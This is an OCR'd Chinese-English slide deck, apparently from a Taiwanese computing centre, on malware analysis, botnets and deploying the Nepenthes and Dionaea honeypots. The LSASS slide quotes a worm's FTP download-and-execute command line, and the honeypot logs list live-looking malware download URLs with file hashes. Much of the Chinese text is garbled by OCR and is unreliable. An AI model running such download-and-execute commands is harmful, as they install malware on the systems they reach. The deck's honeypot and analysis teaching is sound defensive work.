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m Malware Introduction
m Low interaction honeypots
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What is Malware ? @

m Malware = Malicious + Software

= Software programs that serve malicious purposes are usually
called malware.

N ouiﬁi; {'f% = l%)}";'ﬁ R I‘ E’T ’ l"l‘é’}l'-:ﬁm':":? N‘“-‘ w ],
WE o Fmjer 22 Lok 22 4755 5 Virus, Worm, Trojan,
backdoor, Spyware, 1

&

@ ;5&
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Malware Introduction (Cont.) Y,
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Malware Introduction (Cont.) Y,
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Malware Introduction (Cont.) /v@

m PR EERAR?

m Learn more about attack patterns, attack trends, attack
rates, spread method, malicious network activities, based
on live and authentic data




,%: i %E.i\“ e ’}"’T - A%

Detected by

SpAWire

|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
:
|
Y

Antiy s Anti-

Set up the testing
BV IO e

Disable network
conneciion

NLHL

Take a snapshot
for the system

Install sample
and wait for 5
minuies

Analyze the
system

Check port status

Check network
activity

Exit

Check hidden
hehaviors

Enter rescue
System

Finished




i Y

m  Process Monitor - Process explorer
m  File Monitor - Filemon
m  Registry Monitor - Regmon
m  Port Monitor
= Netstat
= TCPView
= TDIMon
m  Fport
m  Network Monitor — Ethereal
m All-In-One System Analysis Tool — InstallRite, HijackThis, SREng
m  Rootkit Detection Tools
= |ceSword
m  RootkitRevealer
m BlackLight
m File Integrity Check — MD5 or Tripwire
m  Windows Live CD — WInPE or BartPE
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ERANIFEYE - ERARTF %FH55 4147 (Cont) /,/"M:Hl: /
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ERAADNFETE — A1 NEar )

m G GUEAIMSN ~ Skypedit 2 a2t ER R R F A o FiEE
%%%éiéﬁﬁ&ﬁ&’—ii%ﬁﬁﬁﬁéﬁﬁrﬁﬁﬁﬁ,
7 E BT %{'x’ T ﬂ«a’ AR E O BERAEFETR

m EL4) 4 (Phishing) @ & fat g %%H%Q@A%%faﬁ%ﬁﬁ;
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€ 4258 18 159 - LSASS Vulnerability /afac/

na

m MS04-011(CVE 2003-0533) : L SASRV.DLL & {73
FECRFAHE > VERE AR BREFF T X
2 ARIRFERLRNE

W32.Gaobot. AR
W32.Gaobot. AFW.
: 011
ms04
| - 1
504-0
) W32.Sasser
> > =
WW32.Gaobot.AFC/
cid /c echo open xxx.Xxx.xxx.xxx 5054 == i W32.Gaobot.AF)/
T W.32.Gaobot.AFW

& echo nze a a =» ii

& echo binary == ii

% echo get avzerve.exe »» ii

& echo bye == i

f ftp -n -v -2:1i & del i & avzerve.exe



& & #2558 19 6]- LSASS Vulnerability wfuc/

m MD5:
m 7d99b0e9108065ad5700a899alfe3441
m SHA-1:
m 5AB1A63CFCA5SBEODAC591194583F6405C16905DD
m =] 9,353 bytes
m HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\Cur
rentVersion\Run]
m Cryptographic Service = “%System%\“g 1% 5 ~.exe”
m HKEY LOCAL_ MACHINE\SOFTWARE\Microsoft\Wireless

= ID Most Aggressively Spreading Malware Binaries
H Mon Sep 13 08:53:29 2010
= Client e

rank hits first last AV rate Binary MD5
55 08/27 09/12 0 of 32 d41d8cd98f00b204e3800998acfB427
6 08/27 09/11 2 0 of 32 caB832de942ad1847 1caBa3affe3cf7as
5 08/17 08/26 33 0 of 32 S53bfe15e9143d86b276d73fdcafE66265
4 08/27 09/10 2 0 of 32 Sha1fi416a20fd97cdd2fcd9baSc08aS
] 08/17 08/26 26 of 22 7d99b0ed108065ad5700a89%a1fe3441
] 08/27 09/10 00 of 22 cob4bTFObo994b5f2322b02140a5170da
z 08/27 09/10 00 of 22 14335fc76500b701cb44f20d56e3aebl
L Sy [uj=ran U or At/ ablotun atros SdlaobFoato D

| i nag 0g/09 00 of r72eeh0g5200f2RFefeaNr9asfENTS91s |
i 08/27 09/07 00 of 22 13923caf716e04cd4cl1a465233094b30




Malware THREAT CENTER ez )

m http://www.mtc.sri.com/

m http://www.cyber-ta.org/releases/malware-
analysis/public/SOURCES/
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From Malware to Botnet (Cont.) Euc )

Mmmmﬂ

FERENERER Server

Command
System

e - = = 7 -\ 2 G X o
[Bot | [Bot | [Bot| [Bot| [Bot ' | FHERAOZES
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g T i .
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B
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| g Tt
= 3

\f;;st | ‘h::rst host | | host

Attacks
B E R 1
1.8518E S0
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larget




Attack under botnet Enc )

m Denial-of-service attacks : Cause target to become busy or
unavailable

m Adware : Advertise some commercial entity actively and without the
user's permission or awareness.

m Spyware: Sends information to its creators about a user's activities.

m E-mail spam: Messages are advertising, annoying, or malicious in
nature.

m Click fraud : Visiting websites without the user's awareness to create
false web traffic for the purpose of personal or commercial gain.

m Fast flux : Used by botnets to hide phishing and malware delivery sites
behind an ever-changing network of compromised hosts acting as
proxies.




- MERAEIFH 4% -- Nepenthes @

= Nepenthes & & R AR A4 & 5> dgdd H k sLis Bk 3F
R ELAN AR LR €a FRINEL AN
(Autonomously Spreading) °

= Low-Interaction Honeypot
m 3 :b: http://nepenthes.carnivore.it

= Developer: Paul Baecher, Markus Koetter



Nepenthes Deployment (¥ #8)
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Nepenthes Deployment (£ $t3%) Enc )

.| @& ¢ s eMalwareDB - f< # Unique
“e\»e“‘“ Malware > #F d. & 48 4 &
e] @7 fE S RACNE R AZSACT 7 5

“eve“"'eg
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Nepenthes &% it R332

Protocol Exploit Payload

Portwatch

Vulner.
Emulation

Module

\g

Nepenthes Core

URL Binary
Shellcode Shellcoge Download Submit
Signatures Generic http http
Download Submit
tftp Postgres
Download Submit
csend file
1 . }
I [ ]
1 Download Submit
| ............
|

* o+ o o

Vulnerability Modules: 1535 % B PR 7333 B

Shellcode parsing modules: 4 #78 F f&Exploit Payload ° #5 #'Mal-URL
Fetch Modules: 41#* HTTP ~ FTP ~ TFTP---##i% 2873~ & X, #2.7"Binary
Submission Modules: ##fTF ken@& #4258 3 F|Disk> & H # FRE




Nepenthes &% i+ R Enc )

m Overview of Emulated Vulnerable Services

vuln-asnl vuln-optix
vuln-bagle vuln-pnp
vuln-dameware vuln-sasserftpd
vuln-dcom vuln-upnp
vuln-msmq vuln-veritas
vuln-mssq| vuln-wins
vuln-mydoom vuln-msdtc
vuln-netbiosname vuln-ftpd
vuln-netdde vuln-sub?7
vuln-kuang?2 vuln-iis
vuln-Isass

National Center for High-performance Computing www.nchc.org.tw



Nepenthes % &3k 2_

@ OS : Ubuntu9.1.0

m ,%:
m Stepl. &5 ey Kipike it
m Step 2. % % Nepenthes
m Step 3. KX 7 & 34 {7 Nepenthes
m Stepd. ER AN E

NLHL /




Step 1. &5 iR X KApR R Euc )

m apt-get install libcurl3-dev libomagic-dev libpcre3-dev
libadns1-dev libpcap0.8-dev iptables-dev

m apt-get install autoconfautomakel.9 autotools-dev libtool
m apt-get install subversion

National Center for High-performance Computing www.nchc.org.tw



Step 2. % #¥Nepenthes Enc )

m it clone git://git.carnivore.it/nepenthes.qit
m cd nepenthes

m autoreconf -v -I--force

m ./configure --prefix=/opt/nepenthes

m make

m make install

National Center for High-performance Computing www.nchc.org.tw



Step 3. % Z & R 7 Nepenthes Enc )

® X T_f%: /lopt/nepenthes/etc/nepenthes/nepenthes.conf

(F 4™ FpK > 2 R L #)
m 3 {7 :/opt/nepenthes/bin/nepenthes -D

National Center for High-performance Computing www.nchc.org.tw



Step 3. % Z & R 7 Nepenthes Enc )

® X T_f%: /lopt/nepenthes/etc/nepenthes/nepenthes.conf

(F 4™ FpK > 2 R L #)
m 3 {7 :/opt/nepenthes/bin/nepenthes -D

National Center for High-performance Computing www.nchc.org.tw



Nepenthes Files Enc )

m Nepenthes £ ¢ 7 BB E & k&

m bin: Nepenthesf% 7 1%

0l g 7 '*Lr)a T

N Libraries

0 B

o & A4S 2 B J A7 binaryd &
binaries
cache
hexdumps

log
spool



Step 4. E R A2V f Y,

m :iwenlog.k 4 /opt/nepenthes/var/log/nepenthes.log

B E A AR KR (URL)z 844
/opt/nepenthes/var/log/logged downloads

m X i A (Binary) T a*r\l A o>
/opt/nepenthes/var/log/logged submissions

m & & 425 (Binary) &t 3.
/opt/nepenthes/var/binaries/
MERARMASEIES & ¢

m Exploit Code(Shellcode) i+ :
[opt/nepenthes/var/hexdumps/



Nepenthes Functionality Testing —/ax/

BN %2 — :Nepenthes Process# 7
B ¥ System e \:{Bﬁ_: B E:t ,:‘f “iﬁﬁ»i&iﬁ‘- T ﬁi
Service i Bk 435 4% %‘;if’: %
l =8 = . :
WE A o X e ..Testmg for malware
vie % 3 & collection
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m %% - :Nepenthes Process# =

ET_-' rochp2@roohp? -~

[rochp2@rochp2 ~]§ ps aux|

rroohp?2 11748 0.0 0.0 920 680 pts/1 S+ 21:17 0:00 grep nepenthes

oot 26040 0.2 0.1 7544 5348 7 Ss Sep25 61:20 bin/nepenthes -R -D
[roohp2@roohp2 ~]§

- B} EX X » T Ft 33 B2

netstat -tnple

rotive Internet connections {(only servers)

Froto Recv-0 dend-Q| Local Address i dtate
top a al 127. L1:2208 LIZTEN
top 11025 LIZTEN
top 353 LIZTEN
oo 1355 LIZTEN
top : 3140 LIZTEHN
top 135 LIZTEHN
top 5000 LISTEN
HE: 54 LIZTEN
1139 LIZTEN
$33TE LIZTEN
1110 LIZTEN
1143 LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIATEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIATEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN
LIZTEN

[y
[u]
u]
s

Inode PID/Erogram nams
12286 4694 /hpiod
55446363 26040/ nepenthes
55459673 2a040/nepenthes
5545964 Z2a040/nepenthes
5545920 2a040/nepenthes
5545967 Z2a040/nepenthes
5545524 Zze040/nepenthes
5548986 26040/ nepenthes
5548373 Ze040/ nepenthes
55465976 26040/ nepenthes
5546959 26040/ nepenthes
5545360 Ze040/nepenthes
11748 44461/ portmap
55459287 Z2a040/nepenthes
5545985 2a040/nepenthes
5546966 Z2a040/nepenthes
5548962 Zze040/nepenthes
5548581 26040/ nepenthes
5548583 Ze040/ nepenthes
55465972 26040/ nepenthes
5544370 26040/ nepenthes
13287 4956/ dnsmasq
5545378 2a040/nepenthes
5545973 Z2a040/nepenthes
12380 4725/ cupsd
11830 4450/ rpe. statd
5545974 26040/ nepenthes
5548565 26040/ nepenthes
55465258 26040/ nepenthes
55465975 26040/ nepenthes
55446371 26040/ nepenthes
5545361 Ze040/nepenthes
5545968 Z2a040/nepenthes
2546582

o

top
top
top
o
ton
ton
ton
ton
top
top
top
top
top
o
ton
ton
ton
ton
top
top

oooooooo oo o oooDooooo
e e e s e s e e e e e e o

-
an)

top
top
top
o
ton

oo oo o oo oo oo o oo o oo oo oo o oooooooood
o oo o oo o ooooooooooooooo0ooooooooood
DDDDDl:ll:lDDI—‘DDI—‘DDDDDDDDDDDDDDDDDDDD
DDDDDDI:lCII:II:IDDI—‘DDDDDDDDDDDDDDDDDDDDD
FREE S S S S S S S S S S S S S S S S T R
L s

DDDDDDDDD-—JDD
DDDDDDDDDDDD

o
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& i

SRE= . PR E

[root@roochp?Z roohpZ]# netstat -twvp

E*Nepenthes = ¥

National Center for High-performance Computing

betlive Internet connections (w/o servers)

Proto Recwv-0 Zend-Q Local Address Foreign Address State PID/Program name
top 0 0 140.110.108.84:microsoft-ds client-Z12-117-4-108.:e-mdu I¥YN_RECV -
top o 0 140.110.107.5%:microsoft-ds 1ip-189-97-227-23: facsys-ntp S¥YN RECV -
top a 0 140.110.107.63:microsoft-ds 109.86.49.84:geolocate AYN_RECV -
top o 0 140.110.108.11:microsoft-ds 187.8%9.190.38 :net-steward S9YN_RECV -
top a 0 140.110.108.7:microsoft-ds Z00165184200.user.v:ssm-cvs IY¥YN _RECV -
top 0 0 140.110.108.11:microsoft-ds 121.70.169.23:30lve S9YN_RECV -
top o 1 140.110.108.11:microsoft-ds 92.81.134.87:appserv-https FIN WAIT1 -
top a 0 140.110.108.23 :microsoft-ds 189-10-238-130.pae: fj-hdnet TIME WAIT -
top o 0 140.110.108.48:microsoft-ds adsl-160-197-182.asm.:1%9676 FIN WATITZ -
tep o 0 140.110.108.1%:microsoft-ds 69-46-178-228.1ip.to:innosys TIME WAIT -
top 0 1 140.110.108.11imicrosoft-ds 59.93.200.151:ergolight LAST ACE -
top a 0 140.110.108.1%:microsoft-ds 69-46-178-228.1:bme-net-adm ESTABLISHED Z6040/nepenthes
tap a 0 140.110.108.1%:microsoft-ds 69-46-178-2Z2Z8.1ip. tor. :radio TIME WAIT -
top o 0 140.110.108.23:microsoft-ds 185-10-238-130.pae:conconpl TIME WATT -
top a 0 140.110.108.13:microsoft-ds static-71-118-10-105.1:4885% TIME WAIT -
tep 0 0 140.110.107.71l:microsoft-ds static-188-27-8:rmiregistry ESTABLISHED Z6040/nepenthes
top a 0 140.110.107.596:microsoft-ds 129-08%.nitka.:amt-ble-port ESTABLISHED Z6040/nepenthes
tap a 0 140.110.108.13:microsoft-ds static-71-118-10-105.1:4667 ESTAELISHED Ze040/nepenthes
tep a 0 140.110.107.5%4:microsoft-d=s 194.160.28.41:4581 EZTAELIZHED -
tep o 1 140.110.107.3é:microsoft-ds static-71-102-93:s0lera-lpn LAST ACK -
tep a 0 140.110.107.23 :microsoft-ds 79.159.182.55:41596 E3TAELIZHED -
top a 0 140.110.108.23 :microsoft-ds 189-10-238-13:concurrent-1lm TIME WAIT -
Lo 1] 0 ::ff££:140.110,107.33:ssh T4-94-156-T5-NewEngla: 52384 TIME WATT -

www.nchc.org.tw



L0 ) S

=  /opt/nepenthes/var/binaries/ ﬁu XN

AN KRACE

iEnd5 5 o 4 T BT A

[l é’fl_%]?éﬂz

-rWw-r——Tr—-—
-rW-r——-r—-— root
-rWw-Tr——T—-— root
-TrW-Ir——-Ir—— root
-rw-r—-—-r—-— root
-rW-r——-r—-— root
-rWw-Tr——T—-— root
-TrW-Ir——-Ir—— root
-rw-r—-—-r—-— root
-rW-r——-r—-— root
-rWw-Tr——T—-— root
-TrW-Ir——-Ir—— root
-rw-r—-—-r—-— root
-rW-r——-r—-— root
-rWw-Tr——T—-— root
-TrW-Ir——-Ir—— root
-rw-r—-—-r—-— root
-rW-r——-r—-— root
-rWw-Tr——T—-— root
-TrW-Ir——-Ir—— root
-rw-r—-—-r—-— root
-rW-r——-r—-— root
-rWw-Tr——T—-— root

,&; 7;:1.}‘

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

[rootEroohp? binaries]# I

41

"lou:
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% A2 5

=
Ea Fé“.b— 51ze< fJ

%F?Fé“'éi’sizeﬂ’ |

Tb313206a2af4214bidcallbabbdedd’d
T7d99b0e9108065ad5b700aB99%9alfe344]1
Tf60162c2c0bd2ccT531e51328e98290
8abb75cbT60379f985586d4517101139F
9716d7995accb6f6bbb90b992c422839d
98eblfdadf8a403c013a8b1882ec9B6d
95a308fccT73543d9cec3aldb3d3c00220
9¢20944d6184d6c93edbda?23a9%69becy
9fdc9cfhbebdeBbBe3eafBoc82448192
al?cabblef99e98305668d4189d0db147
ab3dd089515bb2febe3aZa90800c0338
aabB88clcbh111272f07aTad257£3673cd
b26edbeecacs20491dabT10beabfbbt6b39
bh02f83aT7c9b237018a%9«24485af2b79
c3b8bB8e?2TaB0£21709%e0bebbb2fdbdba
d6df3972a0aelb094b434d=0980e596c
de37f2fcd 18495 fdbhdA3chb1c192a362
ebddbaef33caabbb6200fec1bid1d601
eda3blT66c23dfffclb85d0babd6blicl
f2aB8dafb3036bdbec02f31295008bc3e
fE9ab8529269ab771af0391148da683c
fd2?2Bchelc3Bcaa3bbibel9BTebleTAc
fela007926aa37765bdBaa?2d461858d6
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HET: C EAAESERATR NLHL

d /opt/nepenthes/var/log/ logged_submissionsﬁlﬁ THE T
& ZITHFPERE ST FLRIP BER AR 3l 0 ER AR ndD

[2009-09-16T22:34: . . . . tftp://140.121.215.149:69/ssms.exe  fd28chelc3Bcaa3dbbfheld8Teblt’
[2009-09-16T22:317: . . . . tftp://140.121.215.149:69/ssms.exe fd28chelc3Becaa3hbiheldBdlenlhl
[2009-09-16T22: 46: . . . . tftp://140.121.215.149:69/ssms.exe fd?8chelc3Bcaa3bbfhelddTe616T
[2009-09-16T23:00: . . . . tftp://140.121.215,149:69/ssms.exe fd28chelc3Beaa3bbibeldfTe6167
[2009-09-16T23:01: . . . . tftp://140.121.215.149:69/ssms.exe fd?8chelc3Beaa3bbfheldfTe616T
[2009-09-16T23:08: . . . . tftp://140.121.215.149:69/ssms.exe fd28chelc3Bcaa3bbfheldBTleblt
[2009-09-16T23:39: . . . . tftp://140.121.215.149:69/ssms.exe fd28chelc3Becaa3hbiheldBdlenlhl
[2009-09-16T23: B3 http://95.29.4.43:7658/x.exe 1d99b0e9108065ad5700a899alfe3441
[2009-09-16T23: http://95.29.4.43:7658/x.exe 7d99b0e9108065ad5700a899al1fe3441
[2009-09-16T23: http://95.29.4.43:7658/x.exe 7d99b0e9108065ad5700a899al1fe3441
[2009-09-16T23: http://95.29.4.43:7658/x.exe 1d99b0e9108065ad5700a899al1fe3441
[2009-09-16T23: http://95.29.4.43:7658/x.exe 71d99b0e9108065ad5700a899alfe3441
[2009-09-16T23: http://95.29.4.43:7658/x.exe 1d99b0e9108065adh700a899alfe3d441
[2009-09-16T23: http://95.29.4.43:7658/x.exe 1d99b0e9108065adh700aB899alfe3d41
[2009-09-16T23: http://95.29.4.43:7658/x.exe 1d99b0e9108065ad5700a899al1fe3441
[2009-09-16T23: http://95.29.4.43:7658/x.exe 7d99b0e9108065ad5700a899al1fe3441

e

A,
A,
A,
A,
A,
A,
A,
A,
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Nepenthes %2 4] Enc )

B ¥ 5z § autonomously spreading z. Malware
( Trojan horses¥2rootkit » 7 £ $7fw sy # #7292 &)

2

m & = T browser exploits

|

( % * Browser trigger » 4 ¢ FE3RARE 1)

m 53 FH A fAWindows Vulnerabilities it
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Catch Bugs — Dionaea (&%) Y,

m URL Link : http://dionaea.carnivore.it

m Authors : Markus Koetter & Mark Schloesser
m Develop from Giraffe Honeynet Project

m Dionaea : Nepenthes successor

N

Trap malware exploiting vulnerabilities and the ultimate
goal is gaining a copy of the malware




Dionaea Installation : WEnr )

#> Ubuntu Linux 7% % 3t

n $FDionaeafs ;7
n $hiEDionaeazk A
= 3¢ {7 Dionaea

m .2 Dionaeazz4x




" : W . 7~
Dionaea Installation -- % £ &3\ E NEHE )

m aptitude install libudns-dev libglib2.0-dev libssl-dev
libcurl4-openssl-dev libreadline-dev libsqlite3-dev python-
dev libtool automake autoconf build-essential subversion
git-core flex bison pkg-config

m apt-get install gettext

m wget http://ftp.gnome.org/pub/gnome/sources/glib/2.20/glib-
2.20.4.tar.bz2

m tar xf] glib-2.20.4.tar.bz2

m cd glib-2.20.4/

m ./configure —prefix=/opt/dionaea
m make && make install

m cd..
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Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m % %liblcfg
m git clone git://git.carnivore.it/liblcfg.git liblcfg
= cd liblcfg/code
= autoreconf -vi
m ./configure --prefix=/opt/dionaea
= make
= make install
mcd..




Dionaea Installation -- % & 7% &£ (Cont.) NGQ/'

m % Zlibemu (all)
= git clone qit://git.carnivore.it/libemu.qgit libemu
= cd libemu
= autoreconf -vi

= ./configure --prefix=/opt/dionaea
= make

= make install

= cd ..




Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m % Zlibnl (linux && optional)
m git clone git://git.kernel.org/pub/scm/libs/netlink/libnl.git
= cd libnl
m autoreconf —vi
= ./configure --prefix=/opt/dionaea
= make
= make install
= cd ..




",

Dionaea Installation -- Z3E R T E

(Cont.)

m ZZlibev (all)
= wget http://dist.schmorp.de/libev/libev-

N
4

3.9.targz
= tar xfz libev-3.9.tar.gz
= cd libev-3.9
= ./configure --prefix=/opt/dionaea
= make

= make install
= cd..




",

‘)-\\l

TV

Dionaea Installation -- &3¢

(Cont.)
m Cython (all)

= wget http://cython.org/release/Cython-
0.12.1.targz

= tar xfz Cython-0.12.1.tar.gz
= cd Cython-0.12.1

= python setup.py build

= python setup.py install




Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m Python 3.1.1
m readline

wget ftp://ftp.cwru.edu/pub/bash/readline-6.1.tar.gz
tar zxvf readline-6.1.tar.gz
cd readline-6.1
Jconfigure
make
make install

m sglite > 3.3

wget http://www.sqlite.org/sqlite-amalgamation-3.7.2.tar.gz
tar zxvf sglite-amalgamation-3.7.2.tar.gz

cd sqlite-3.7.2

Jconfigure

make && make install
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Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m % FEPython
= wget http://python.org/ftp/python/3.1.2/Python-3.1.2.tgz
m tar xfz Python-3.1.2.tg9z
= cd Python-3.1.2/

= ./configure --enable-shared --prefix=/opt/dionaea --with-
computed-gotos \

® --enable-ipv6
= make && make install

m cp libpython3.1.so libpython3.1.s0.1.0 /ustr/lib/




Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m % #libxml2

3

= aptitude install libxml2-dev
m % %libxslt

= aptitude install libxslt1-dev
m % ZEIxml
= wget http://codespeak.net/Ixml/Ixml-2.2.8.tgz
m tar zxvf Ixml-2.2.8.1gz
= cdIxml-2.2.8
= /opt/dionaea/bin/python3 setup.py build

= /opt/dionaea/bin/python3 setup.py install



Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m % zudns
= wget http://www.corpit.ru/mjt/udns/udns_0.0.9.tar.gz
m tar xfz udns_0.0.9.tar.gz
= cd udns-0.0.9/
= ./configure
= make shared
m cp udns.h /opt/dionaea/include/
m Cp *.so* /opt/dionaea/lib/
= cd /opt/dionaea/lib
® In -s libudns.so.0 libudns.so



Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m % %libcurl
m wget http://curl.haxx.se/download/curl-7.20.0.tar.bz2
m tar xfj curl-7.20.0.tar.bz2
= cd curl-7.20.0
= ./configure --prefix=/opt/dionaea
® make && install




Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m = Zlibpcap

= wget http://www.tcpdump.org/release/libpcap-
1.1.1.tar.gz

m tar xfz libpcap-1.1.1.tar.gz

m cd libpcap-1.1.1

= ./configure --prefix=/opt/dionaea
= make && make install




Dionaea Installation -- % & & 3% & (Cont.) NGQ/'

m % %0penSSL (optional)(# e+ % % %)

® CcVS -d anonymous@cvs.openssl.org:/openssl-cvs co
openssl

= cd openssl

m ./Configure shared --prefix=/opt/dionaea linux-x86 64
= make SHARED LDFLAGS=-WI,-rpath,/opt/dionaeal/lib
= make && make install
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Dionaea Compiling -- %3:¥#Dionaeafz ;'\ &5 @J

m (it clone git://git.carnivore.it/dionaea.git dionaea
m cd dionaea
m autoreconf -vi

m ./configure --with-Icfg-include=/opt/dionaea/include/ --with-Icfg-
lib=/opt/dionaea/lib/ --with-python=/opt/dionaea/bin/python3.1 --with-
cython-dir=/usr/local/bin --with-udns-include=/opt/dionaea/include/ --
with-udns-lib=/opt/dionaea/lib/ --with-emu-
Include=/opt/dionaea/include/ --with-emu-lib=/opt/dionaea/lib/ --with-
gc-include=/usr/include/gc --with-ev-include=/opt/dionaea/include --
with-ev-lib=/opt/dionaea/lib --with-nl-include=/opt/dionaea/include --
with-nl-lib=/opt/dionaeal/lib/ --with-curl-config=/opt/dionaea/bin/ --with-
pcap-include=/opt/dionaea/include --with-pcap-lib=/opt/dionaea/lib/ --
with-glib=/opt/dionaea

@ make && make install
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"

Dionaea Configuration — 3a$&Dionaea &k Z_4% Y,

B X T E > 1 /opt/dionaea/etc/dionaeal/dionaea.conf
m Dionaea.conf 5 2 ;N LB R T4 £ ¢ 7= BINL !
= Logging : * *t 35 ¥log domains and loglevel

m Processors : #* *t$~4] emu processor ¥ ;#|Shellcode -
¥ i% dw & (Bi-directional Streams)

= Downloads: 45 T & & #2557 = &
m Bistreams : &% 3 Bi-directional Streams

m Submit : 1% HTTP&FTP# 3 & £ 45 > 4o @ 1 #
FTP

= Listen: 45 ¥ Dionaeaf #7IP » gk LAl » 7 9715 & &
A2 50 3 SR g AL FRB

= Modules : #;] T_E AR



Dionaea Configuration — ¥ &Dionaea & Z_f} (Cont.) anrj

m Dionaea.conf ¥ > Modules % Z_ %3P
m Pcap module : #: * Libpcap & 3% E K ie4k22 1 B
Rejected Connection Attempts » & j& 7 s & &k Jh 3 3
m Curl module : Curlficiedh i@ * 2> @ERA X% = 3 BFIR
BB

=474

= Emu module: © B] ~ 34 7 & 247 Shellcode
= Python module: 4] * Python interpreter % ;- #|Dionaea

= Logsql module: #-Dionaea Log ¥ . &% 5 I sqlite databse
J

= Logxmpp module: :#-Dionaea Log 3 3t & i3 I xmpp
server
= POf module: 3% &2 & &k /R OS fingerprinting#* &:



. . )= . ValR
Running Dionaea — #{ 7 Dionaea NLHL )

3T S
m -C, --config=FILE (k =% =% )
m D, (FEHF)
m -g, --group=GROUP (switch to GROUP after startup)
m -h, --help display help
m -H, --large-help
m -l, --log-levels="all, debug, info, message, warning, critical”
m -Uu, --user=USER (switch to USER after startup)
m -p, --pid-file=FILE (write pid to file)
m -, --chroot=DIR (chroot to DIR after startup)
m -V, (show version)
m -w, --workingdir=DIR (set the process working dir to DIR)

m ¥ {7 4 ! dionaea -u nobody -g nogroup -r /opt/dionaea/
-w /opt/dionaea -p /opt/dionaea/var/dionaea.pid —D



RN A 5 Bk

m Kaspersky Virus File Scanner
= http://www.kaspersky.com/scanforvirus

m Dr.Web ® online check
= http://online.us.drweb.com/

m avast! Online Scanner
= http://onlinescan.avast.com/

m ClamAV Online Specimen Scanner
= http://www.gietl.com/test-clamav/

Y,




ERLANA R 5HSHH(Cont) e

m Online Virus Scanner & Submission
= http://www.fortiguardcenter.com/antivirus/virus_scanner.html

m ThreatExpert — Online File Scanner
= http://www.threatexpert.com/filescan.aspx

m VirusTotal — & § 3t 53 fr B R K W#Fp
= http://www.virustotal.com/zh-tw/
m Jotti Online malware scan

= http://virusscan.jotti.org/




ERLANA R 5HS HH(Cont)

m Virus.Org :: Malware Scanning
m http://scanner.virus.org/

m VirSCAN.org-#_} b & 51 F ezt (€ * 390 4 1Y
¥R 5 )
= http://www.virscan.org/

m Filterbit (i¢ * 8 #61 % H MWk pr 3 §)

= http://www.filterbit.com/
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ERLANA R 5HSHH(Cont) e

m ThreatExpert: 3} 75 A 72K Rl1 &
= http://www.threatexpert.com/submit.aspx

m Sunbelt CWSandbox

= http://www.sunbeltsecurity.com/Submit.aspx

m Anubis: Analyzing Unknown Binaries
= http://anubis.iseclab.org/

@ Norman Sandbox

= http://www.norman.com/security _center/security tools/submit_file/e
n
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G SLE Rk X g % Process ~ DLL ~ File ~ Registry ~ Service®
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ERBNAFIE-ART R NEar )

Autoruns

Procexp (Process Explorer)
TCPView

System Repair Engineer(SRENQ)
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E R 554471 E -Autoruns NCHL

m Autoruns : ¥ & § Rt 250 %#T’o p#R T Rk i Bk
$#38 P

O http://download.sysinternals.com/FiIes/Autoruns.zip

. A -
oF Matseuns « Spstemaly mww sysnterralicon l‘) o R e D e
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| ~ Apind % Kaowlils . Wirkogon & Winscoeh Provas: | o Bt Mordos ) U5A Povden Q Notecrt Provadens B Sdetu Gadpens
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Procexp (Process Explorer) NCHL

=

Sysinternals 2 )’;“ fo L5 AR ffuq’% (TALS S Ap Rl
z—”ﬂ}’% I s Hqrie s E
Bk é 93T AR
| $3}

m http://download.sysinternals.com/Files/ProcessExplorer.zip

m Procexp (Process Explorer): #gizwindows1 e 2§ >
S
*

"':”“f& ) fz’i

ey
T
s
)t
\
B
qn

L Process Explorer « Sysmternals: mnwsrxx'v‘trﬂlh(om [RECMOND\ctt0h] =18 Iﬁ r - = N
b isrbbet 29 System Information = (5D P S

"lc Owom ,\l;w,ho““ ln: Mmdle Ulcn Help
Qa=omyid s s | =_
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1IN expiorer exe 352 313 Windows Expiorer Morach Coporation 728K 6451161
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T MSASCU exe uy Windows Defender User hteface Masmach Coporation 720K s
llﬂnmeﬂ R SMacdPNP NEC Apphcation Josiop Devices, Inc. 8423 K ns
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S126K 165060
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SETAIEK
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TCPView ),

O Tcpview: iR B BRI )1EE I RH Tl‘;’&'juj
AT >IN AR TR R TCP 5 UDP i ﬂ
%ﬁmﬂmfliﬁW’f ﬁf”?
O http //download. sysmternals com/Flles/tcpv ew.zip

& TCPYiew - Syrnternals: www. syzntemals com
File Option: Process View Help

Ha =

Process ¢ Protocol  Local Address | Rernofe Address State i
K avp exe 2020 TCP brnan:3 792 210.17.16.252htt) ESTABLIS

L avp.exe: 2020 TCF brian:3798 208,109,138 83 hitp ESTABLIS
@GoogIeDeskto:u exa B36  TCP brian: 1083 localhost 1110 CLOSE_W.
'@GoogIeDni-sktoo exa 636 TCP brian 4664 brian 0 LISTENING
& ’qooq etalk exe BEE TCF brian:1032 po-in-f1 26 google com's... ESTAELIS

™ GreatNews exe3224 UDP brian:3756 o

i GreatNews exe 3224 TCP brian:3790 localhost: 1110 ESTAELIS.

i GreatNews axe 3224 TCP brian:3796 localhost: 1110 ESTABLIS..
@ KKEOX exe 3716 UDP brian:2712 E
D KEBOX exe:3T TCP brian:3750 localhost:1110 CLOSE_W
Bllsass exe1104 UDP [» brianisakmp v
I | 5cc eve 1104 UDP brian: 4500 ;

- msnrr.sg ene 708 TCP brian:1138 122-122-114-120.dyna...  ESTABLIS.

S msnmsgr exe 708 TCP brian:1063 by1rmsg41 76103 phe gl ESTABLIS

4 manmsqgrexe 708 uop brian: 1058 o
& msnmsgr exe 708 UDP brian:1045 o -
Endpoints: 77 Estahlished - 21 Listening 10 Time Wait 19 Cloese Whait 3 BEE "TCP/P Patcher




System Repair Engineer(SRENQ)

O SREng KZTechs.com i =t nr—‘F*f Samllfrogs%ﬁ} LE1E
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